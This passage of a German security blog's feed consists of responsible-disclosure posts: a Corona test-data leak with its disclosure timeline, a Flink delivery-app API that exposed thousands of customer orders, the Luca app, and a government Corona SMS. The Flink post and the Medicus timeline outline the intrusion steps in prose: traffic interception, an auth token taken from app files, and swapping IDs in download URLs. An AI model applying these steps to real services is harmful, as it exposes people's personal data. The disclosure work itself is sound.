&lt;p&gt;Wenn solche Datenunfälle vorkommen, dann zerbröckelt die Bereitschaft zur Eindämmung der Pandemie beizutragen immer weiter. Wenn staatlich beauftragte Unternehmen nachlässig mit sehr sensiblen Daten umgehen, fällt das leicht auf die komplette staatliche Infrastruktur zurück. Dabei brauchen Menschen gerade jetzt das Vertrauen, damit sie die verfügbaren Angebote wie Tests und Impfungen auch wahrnehmen. Auch wir wollen uns testen und impfen lassen, ohne versehentlich in Sicherheitslücken zu stolpern!&lt;/p&gt;
&lt;p&gt;Dazu Linus:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;»Dies ist nicht die erste und sicherlich nicht die letzte Sicherheitslücke in hastig gebastelter Corona-IT. Wenn schon bei so einfachen Aufgaben katastrophale Anfänger-Fehler passieren, sollten die Verantwortlichen erstmal ihre Hausaufgaben machen. Stattdessen werden als nächstes mehrere Millionen Euro für fragwürdige Blockchain-Impfnachweise versenkt.«&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ein Teil des Vertrauens würde sich auch wieder gewinnen lassen, wenn staatliche Stellen nicht alles einfach nur deswegen einkaufen, weil AI oder Blockchain draufsteht. Diese Hype-Begriffe sind eben keine Labels, die Lösungen besonders vertrauenswürdig machen - sondern eher ein Indikator dafür, wer sich besonders leicht über den Tisch ziehen lässt.&lt;/p&gt;
&lt;p&gt;Thomas Lohninger von der Datenschutz-NGO &lt;a href=&#34;https://epicenter.works/content/136000-corona-testergebnise-samt-persoenlicher-daten-frei-einsehbar&#34;&gt;epicenter.works, die uns beim Kontakt mit den zuständigen Behörden in Österreich unterstützt hat&lt;/a&gt;, sagt dazu:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;»Es ist jetzt an den betroffenen Firmen und zuständigen Datenschutzbehörden, diesen Skandal aufzuklären. Diese unverantwortliche Fahrlässigkeit zeigt wie leichtfertig mit unseren Gesundheitsdaten umgegangen wird. Was ständig auf der Strecke bleibt, ist das Vertrauen der Bevölkerung in die angemessene Bewältigung dieser Krise.«&lt;/p&gt;
&lt;/blockquote&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/m/medicus/micdrop.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/medicus/micdrop.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Bei der Veröffentlichung haben wir neben CCC und epicenter.works auch mit Journalist*innen von rbb|24, SZ und dem Standard.at zusammengearbeitet. Wir haben hier nur unseren Teil der Geschichte aufgeschrieben, auf den folgenden Seiten findet ihr weitere fundierte Informationen, Recherchen und eine journalistische Einordnung:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://www.ccc.de/de/updates/2021/corona-testergebnisse&#34;&gt;Pressemitteilung des CCC&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://epicenter.works/content/136000-corona-testergebnise-samt-persoenlicher-daten-frei-einsehbar&#34;&gt;Pressemitteilung epicenter.works&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://www.rbb24.de/politik/thema/corona/beitraege/2021/03/berlin-datenleck-schnelltests-21dx-medicus-ai.html&#34;&gt;Artikel des RBB&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://www.derstandard.at/story/2000125138093/datenleck-bei-wiener-start-up-tausende-testdaten-frei-im-netz&#34;&gt;Artikel des Standard.at&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;https://www.sueddeutsche.de/digital/luecke-corona-covid-testen-1.5239045&#34;&gt;Artikel der SZ&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Danke dafür &amp;lt;3&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;disclosure-timeline&#34;&gt;Disclosure Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2021-03-09: Teammitglied macht Schnelltest bei 21Dx&lt;/li&gt;
&lt;li&gt;2021-03-10: Wir schauen routinemäßig in den Datenverkehr des Testportals&lt;/li&gt;
&lt;li&gt;2021-03-10 23:00 Uhr: Teammitglied findet die PDF-Download-URL und ändert ID&lt;/li&gt;
&lt;li&gt;2021-03-10 23:05 Uhr: Andere Team-Mitglieder können es reproduzieren&lt;/li&gt;
&lt;li&gt;2021-03-11 00:30 Uhr: Wir erhalten Kontakt zum BSI / CERT-Bund&lt;/li&gt;
&lt;li&gt;2021-03-11 03:10 Uhr: Vorläufige Dokumentation des Problem 1 ist fertig, wird ans BSI gesendet&lt;/li&gt;
&lt;li&gt;2021-03-11 13:10 Uhr: Wir schicken die vorläufige Dokumentation an Datenschutzbehörden von Bund und einigen Ländern&lt;/li&gt;
&lt;li&gt;2021-03-11 13:15 Uhr: Bei einem zufälligen Test stellen wir fest, dass Probleme 1 und teilweise 2 behoben scheinen&lt;/li&gt;
&lt;li&gt;2021-03-11 23:30 Uhr: Wir sind auf das offene Analytics-Dashboard gestoßen&lt;/li&gt;
&lt;li&gt;2021-03-12 02:00 Uhr: Wir senden einen Aufschrieb der Probleme 2-4 an das CERT-Bund&lt;/li&gt;
&lt;li&gt;2021-03-15 07:30 Uhr: CERT-Bund informiert uns, dass Aufschrieb an den Hersteller weiter geleitet wurde&lt;/li&gt;
&lt;li&gt;2021-03-15 16:45 Uhr: Bei einem zufälligen Test stellen wir fest, dass auch Probleme 2-4 behoben scheinen&lt;/li&gt;
&lt;li&gt;2021-03-18 06:00 Uhr: Veröffentlichung dieses Blogposts&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Deine Kundendaten – geliefert in 10 Minuten</title>
      <link>https://zerforschung.org/posts/flink/</link>
      <pubDate>Thu, 11 Mar 2021 04:00:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/flink/</guid>
      <description>&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/header.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/header.png&#34;
         alt=&#34;Deine Daten geliefert in 10 Minuten. We are Flink&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://twitter.com/zerforschung/status/1369852526711996416&#34;&gt;Dieser Blogpost ist auch als Thread erschienen&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;Kennt ihr Flink? Das ist eins der neuerdings auftauchenden Startups, die Einkäufe nach Hause liefern. Produkte in der App wählen, bezahlen und in unter 10 Minuten ist ein*e Fahrradkurier*in bei euch. &lt;a href=&#34;https://techcrunch.com/2021/03/02/flink&#34;&gt;Dafür gab es auch vor ein paar Tagen erst ordentlich Funding&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Als wir uns die App angeschaut haben, haben wir Erschreckendes festgestellt.&lt;/p&gt;
&lt;p&gt;Eigentlich sind wir neugierig, wie die Lieferung so flott funktionieren kann. Wir suchen uns eine Parkbank im Liefergebiet und bringen Lust auf einen Test-Smoothie mit. Bevor wir allerdings bestellen, schauen wir uns die App etwas genauer an. Also werfen wir den &lt;a href=&#34;https://mitmproxy.org&#34;&gt;MitM-Proxy&lt;/a&gt; an. Einer der ersten Requests an die Server von Flink ist der folgende:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/flink-first-request.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/flink-first-request.png&#34;
         alt=&#34;Screenshot eines Request an die Flink Server&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Das sieht doch aus wie GraphQL? Na dann machen wir doch mal einen GraphQL-Client auf und verbinden uns mit dem Server von Flink. Doch der mag nicht mit uns sprechen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/graphql-perm-denied.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/graphql-perm-denied.png&#34;
         alt=&#34;GraphQL-Antwort des Server: &amp;#39;You do not have the permission to perform this action&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Aber nicht schlimm: Das Authorization-Token ist netterweise in den Dateien der App hinterlegt.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/auth-token.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/auth-token.png&#34;
         alt=&#34;Screenshot eines App-Files, in dem der Auth-Token steht. Auth-Token ist geschwärzt&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Mit dem Token ist uns der Server gleich viel freundlicher gesinnt und gibt uns die Informationen, die wir wollten. Praktischerweise ist GraphQL selbstdokumentierend, so dass wir direkt erklärt bekommen, was wir jetzt lustiges tun könnten:
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/graphql-docs.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/graphql-docs.png&#34;
         alt=&#34;GraphQL-Doku einiger Queries, unter anderem order und orders&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Dabei fiel der &lt;code&gt;orders&lt;/code&gt;-Query besonders auf. Mal schauen, wie viele Bestellungen wir sehen können… Oh.
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/orders-totalcount.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/orders-totalcount.png&#34;
         alt=&#34;Abfrage, wie viele Bestellungen es gibt. Antwort des Servers: fast 4000&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Mittlerweile ist unser Test-Smoothie auf der Parkbank auch angekommen.
Unsere Bestellung taucht auch in der API auf: Zu sehen sind Name, Adresse, Telefonnummer, E-Mail, letzte 4 Stellen der Kreditkarte und was bestellt wurde.
Über die offene API von Flink könnten wir auch die Details von allen &amp;gt;4000 Bestellungen der letzten Monate abfragen. Nicht nur unsere, sondern die aller Kund*innen 😱&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/danke-tuete.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/danke-tuete.png&#34;
         alt=&#34;Foto einer Parkbank. Darauf steht eine Türe mit der Aufschrift &amp;#39;Danke&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/order.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/order.png&#34;
         alt=&#34;Zensierter Screenshot der JSON-Antwort einer Bestellung. Darin Name, Adresse, Telefonnummer, E-Mail, letzte 4 Stellen der Kreditkarte und was bestellt wurde.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Der Bestellung lag außerdem diese Postkarte bei, haben wir jetzt was gewonnen?
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/finde-den-fehler.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/finde-den-fehler.png&#34;
         alt=&#34;Werbe-Postkarte von Flink mit dem Slogan &amp;#39;Finde den Fehler&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Da wir den Schritt, Unternehmen über öffentlich zugängliche Kund*innen-Daten zu informieren, bislang noch nicht gehen mussten, haben wir diesmal ausprobiert, mit den Öffentlich-Rechtlichen zusammenzuarbeiten 🤝&lt;/p&gt;
&lt;!-- &lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/flink/zerbb.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/flink/zerbb.png&#34;
         alt=&#34;Das Logo des RBB mit &amp;#39;zerbb&amp;#39; statt &amp;#39;rbb&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;
 --&gt;
&lt;p&gt;Gemeinsam mit dem &lt;a href=&#34;https://www.rbb24.de&#34;&gt;rbb&lt;/a&gt; haben wir Flink schnellstmöglichst informiert, damit diese Lücke geschlossen und die Kund*innen informiert werden können. 📬&lt;/p&gt;
&lt;h2 id=&#34;reaktion-von-flink&#34;&gt;Reaktion von Flink&lt;/h2&gt;
&lt;p&gt;Flink hat die Lücke nach einem Tag geschlossen. Auf unsere Nachfrage teilen sie mit, dass der Zugriff &amp;ldquo;nur sehr kurzfristig möglich war&amp;rdquo; und dass sie ein &amp;ldquo;ein renommiertes IT Sicherheitsunternehmen beauftragt [haben], einen externen Check durchzuführen.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Zudem sagt Flink, dass sie die Berliner Landesbeauftragte für Datenschutz und Informationsfreiheit (LfDI) informiert haben und &amp;ldquo;umfassend&amp;rdquo; kooperien wollen.&lt;/p&gt;
&lt;p&gt;Flink sagt uns und ihren Kund*innen, dass sie bei ihren Untersuchungen &amp;ldquo;keinen Missbrauch&amp;rdquo; der Daten feststellen konnten.
Ihren Kund*innen sagten sie, dass es durch &amp;ldquo;eine Sicherheitslücke [&amp;hellip;] möglich gewesen [wäre], Teile [der Daten] einzusehen (z.B. Anschrift und Email).&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Das wundert uns: Diese E-Mail haben wir auf unserem Account erhalten, mit dem wir bestellt haben und dessen Daten wir abgerufen haben.
Bei Flink klingt das jedoch, als wären unsere Daten nicht abgerufen worden wären.&lt;/p&gt;
&lt;p&gt;Wir finden, dass Flink hier klarer informieren sollte, dass Daten abgerufen wurden.
Auch den Umfang der Daten sollten sie klarer benennen: Neben &amp;ldquo;Anschrift und Email&amp;rdquo; auch Telefonnummer und bei Kreditkartenzahlung der Kartentyp und die letzten 4 Stellen der Kreditkartennummer.
Der LfDI hat Flink dies mitgeteilt, ihren Kund*innen jedoch nicht.
Dass auch die bestellten Artikel abgefragt werden konnten, verschweigt Flink sowohl gegenüber den Kund*innen als auch der LfDI.&lt;/p&gt;
&lt;h2 id=&#34;reaktion-der-lfdi&#34;&gt;Reaktion der LfDI&lt;/h2&gt;
&lt;p&gt;Zusammen mit dem rbb haben wir auch die Landesbeauftragte für Datenschutz und Informationsfreiheit des Landes Berlin angefragt. Der Pressesprecher teilte uns mit, dass sie von Flink fristgemäß innerhalb von 72 Stunden informiert wurden.
Flink teilte mit, dass es sich &amp;ldquo;bei den betroffenen Daten um Namen, Adressen und Kontaktdaten von Kund*innen sowie Angaben zur verwendeten Kreditkarte und den letzten vier Stellen der Kreditkartennummer handelt&amp;rdquo;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Wir finden: Wer mit personenbezogenen Daten arbeitet, muss diese ausreichend sichern. Startups können dabei keinen Welpenschutz für sich reklamieren. Wenn das Produkt marktreif genug ist, um Kundendaten zu speichern, muss es auch reif genug sein, diese für sich zu behalten.&lt;/p&gt;
&lt;p&gt;Positiv bleibt anzumerken, dass Flink schnell reagiert und Kund*innen sowie Datenschutzbehörde zeitnah informiert hat.
Die Kommunikation gegenüber den Kund*innen sollte aber klarer sein.&lt;/p&gt;
&lt;p&gt;Den Beitrag von &lt;a href=&#34;https://www.rbb24.de&#34;&gt;rbb|24&lt;/a&gt; über diese Geschichte findet ihr hier: &lt;a href=&#34;https://www.rbb24.de/wirtschaft/thema/corona/beitraege/2021/03/goflink-sicherheitsluecke-datenschutz-kredikarte-berlin.html&#34;&gt;https://www.rbb24.de/wirtschaft/thema/corona/beitraege/2021/03/goflink-sicherheitsluecke-datenschutz-kredikarte-berlin.html&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Solche Kooperationen sind möglich dank eures Rundfunkbeitrags. 💸 18,36 € &lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; im Monat sind gut für eure Landesrundfunkanstalt. Für mehr Spaß mit Zerforschung kann man uns hier unterstützen: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;dem zukünftigen Rundfunkbeitrag der Herzen&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Thread zur Luca-App</title>
      <link>https://zerforschung.org/posts/luca/</link>
      <pubDate>Sat, 06 Mar 2021 23:45:00 +0000</pubDate>
      
      <guid>https://zerforschung.org/posts/luca/</guid>
      <description>&lt;p&gt;Uns haben in letzter Zeit einige Anfragen zur Sicherheit der Luca App erreicht. Hier ein paar Punkte, warum wir uns die App nicht genauer anschauen (können und wollen) 🧵&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Solange eine App nicht Open Source ist, können wir immer nur einen groben Blick darauf werfen. 🧑‍💻 Manchmal fallen bei solch einem groben Blick schon Dinge auseinander.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1F-LSXIAAwbIB.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1F-LSXIAAwbIB.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Wir könnten in solch einem Fall sagen, dass es ein Problem gibt. Umgekehrt heißt es aber nicht, dass das System sicher ist, wenn wir nichts finden.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Viel schlimmer: Wenn wir etwas finden, was später behoben wird, könnte der Eindruck entstehen, die App sei jetzt sicher. Und wenn wir jetzt nichts finden, könnte mit dem nächsten Update was kommen.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1F_JaXEAQI_Sp.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1F_JaXEAQI_Sp.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Um die Sicherheit einer App wirklich beurteilen zu können, muss der komplette Sourcecode (App sowie auch alle Serverkomponenten) Open Source und die Architektur dokumentiert sein.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Und selbst dann sind wir vielleicht nicht die besten Ansprechpartner, weil wir eigentlich nur ein paar Leute aus dem Internet sind, die manchmal gegen Apps treten.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1G2txXAAYpgu1.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1G2txXAAYpgu1.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Wir hatten auch darüber nachgedacht, selbst Doku für die Architektur von Luca zu erstellen. Aber das sollte einfach nicht die Aufgabe von ein paar Nerds mit etwas Freizeit sein.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Eigentlich dachten wir, dass Open Source seit der Corona-Warn-App verstanden wurde, und wir darüber einfach nicht mehr diskutieren müssen. 🤷&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Warum jetzt die closed source App eines dahergelaufenen Startups promoted wird ist unverständlich. Warum sich bereitwillig einem Vendor-Lock-In hingegeben wird umso mehr. 🔒&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1Hr9oXEAIifsP.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1Hr9oXEAIifsP.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Side Note: Luca schafft scheinbar seit drei Monaten nicht, jemanden einzustellen um eingehende Fragen und Pull Requests zu beantworten.&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Die Prüfung läuft, wir müssen noch um etwas Geduld bitten :)&lt;/p&gt;&amp;mdash; luca App (@_lucaApp) &lt;a href=&#34;https://twitter.com/_lucaApp/status/1344286264414113793?ref_src=twsrc%5Etfw&#34;&gt;December 30, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;hr&gt;
&lt;p&gt;Ausserdem glaube wir nicht, dass noch eine App die Corona-Pandemie beenden wird. Eine App lenkt nur von der Relevanz richtiger Maßnahmen ab. Die Länder, die die Pandemie quasi beendet haben, haben keine Apps.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Es fehlt nicht an Apps, sondern an Ressourcen im Gesundheitswesen. Den Gesundheitsämter einfach noch mehr Daten zu schicken und noch eine zusätzliche Software einzuführen bringt nichts, wenn so schon keine Kontaktverfolgung mehr möglich ist.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1Iog_XEAcZIYC.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/luca/Ev1Iog_XEAcZIYC.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;</description>
    </item>
    
    <item>
      <title>Einreisen zum Ausrasten - die neue Corona-SMS</title>
      <link>https://zerforschung.org/posts/corona-bmg-sms/</link>
      <pubDate>Mon, 01 Mar 2021 17:30:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/corona-bmg-sms/</guid>
      <description>&lt;p&gt;Gestern wurde bekannt gegeben, dass ab morgen Einreisenden bei der Einreise eine SMS gesendet wird, um sie über die Corona-Regeln zu informieren.&lt;/p&gt;
&lt;p&gt;Wir haben privat schon ein bisschen Witze gemacht, dass die SMS sicher nur einen Link auf eine Website enthält …&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVLMU3WYAMQy88.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVLMU3WYAMQy88.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Heute haben wir dann den vollständigen Text dieser SMS gefunden ( &lt;a href=&#34;https://www.bundesgesundheitsministerium.de/presse/pressemitteilungen/2021/1-quartal/corona-sms.html&#34;&gt;https://www.bundesgesundheitsministerium.de/presse/pressemitteilungen/2021/1-quartal/corona-sms.html&lt;/a&gt; ) und was sollen wir sagen… Bingo!&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVNcw7XcAYJWhj.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVNcw7XcAYJWhj.jpg&#34;
         alt=&#34;Die Bundesregierung: Willkommen/Welcome! Bitte beachten Sie die Test-/Quarantäneregeln; please follow the rules on tests/quarantine: https://bmg.bund.de/covid19&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Was als Erstes auffällt: Es enthält wirklich gar keine Informationen, sondern nur den Link, und klingt genau wie die schlechten NINA-Warnmeldungen. Kommunikation können die!&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVODVbXYAMMPUb.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVODVbXYAMMPUb.jpg&#34;
         alt=&#34;Beispiel für lange, schlechte NINA-Warnmeldungen die vor dem eigentlichen Inhalt abgeschnitten sind.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Dann mussten wir natürlich sofort drauf klicken! …uuuuuuund: FULLSCREEN COOKIE WARNUNG, AUF DEUTSCH¹!&lt;/p&gt;
&lt;p&gt;¹ unser Telefon ist auf Englisch gestellt und der Browser teilt dem Server auch mit, dass Englisch bevorzugt wird.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVObmgXYBI6-JL.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVObmgXYBI6-JL.png&#34;
         alt=&#34;Wir verwenden zum einen sog. notwendige Cookies, um die Funktionsfähigkeit der Webseite sicherzustellen. Zum anderen setzen wir technisch nicht notwendige Cookies, um Inhalte und Anzeigen zu personalisieren, Funktionen für soziale Medien anbieten zu können und die Zugriffe auf unsere Website zu analysieren. Außerdem geben wir Informationen zu Ihrer Verwendung unserer Website an unsere Partner für soziale Medien, Werbung und Analysen weiter. Unsere Partner führen diese Informationen möglicherweise mit weiteren Daten zusammen, die Sie ihnen bereitgestellt haben oder die sie im Rahmen Ihrer Nutzung der Dienste gesammelt haben.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Da stellt sich natürlich die Frage: WARUM ZUM TEUFEL?! Diese Seite sollte überhaupt keine Cookies benötigen, oder können wir demnächst Werbebanner auf bundesregierung punkt de schalten?&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Wir klicken also erst einmal auf &amp;ldquo;Details anzeigen&amp;rdquo; und sehen auch nicht viel mehr, weil immer noch zu wenig Platz ist&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVPTkZWgAYKALb.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVPTkZWgAYKALb.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Auf dem Desktop nachgeguckt sieht es dann so aus …also alles komische Thirdparty-Dienste, und zwölfmal Marketing?! Ganz großes Tennis.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVPWsbWgAU5UDi.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVPWsbWgAU5UDi.png&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Danach ein kompliziertes Schaubild. Text natürlich als schlecht aufgelöstes Bild eingebunden. Damit wird es natürlich auch nicht übersetzt, falls die Übersetzungsfunktion des Browsers eingeschaltet wurde.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Aber noch viel schlimmer: Das Bild ist auf mobilen Geräten rechts abgeschnitten und lässt sich auch nicht horizontal reinscrollen. Auf welchen Geräten bekommt man SMS? Richtig – auf mobilen Geräten!&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVP07sXMAUzxub.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVP07sXMAUzxub.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Zum Glück haben wir durch den kurzen Ausflug an den Desktop-PC schon gesehen, dass das Bild nur ein Link auf ein PDF ist, und klicken drauf.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Dann darf man sich entscheiden, ob man gerade aus einem &amp;ldquo;Risikogebiet&amp;rdquo;, &amp;ldquo;Hochinzidenzgebiet&amp;rdquo;, &amp;ldquo;Virusvarianten-Gebiet&amp;rdquo; oder &amp;ldquo;Kein Risikogebiet&amp;rdquo; einreist. 🤔&lt;/p&gt;
&lt;p&gt;Wir haben leider nicht alle Länder und deren Status im Kopf, gehen wir erstmal zurück …&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Zum Glück befindet sich direkt darunter ein Link zum RKI (natürlich mit eigener Cookie-Warnung), dahinter verbirgt sich eine Wall of Text mit allen Gebietsarten und Ländern aufgelistet… Keine Flaggen, keine Tabelle, kein Inhaltsverzeichnis.&lt;/p&gt;
&lt;p&gt;(Ja, wir scrollen wirklich 1:10min!)&lt;/p&gt;
&lt;video controls&gt;
    &lt;source src=&#34;https://zerforschung.org/p/corona-bmg-sms/HLlvgQAPiGIDkljh.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/corona-bmg-sms/HLlvgQAPiGIDkljh.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
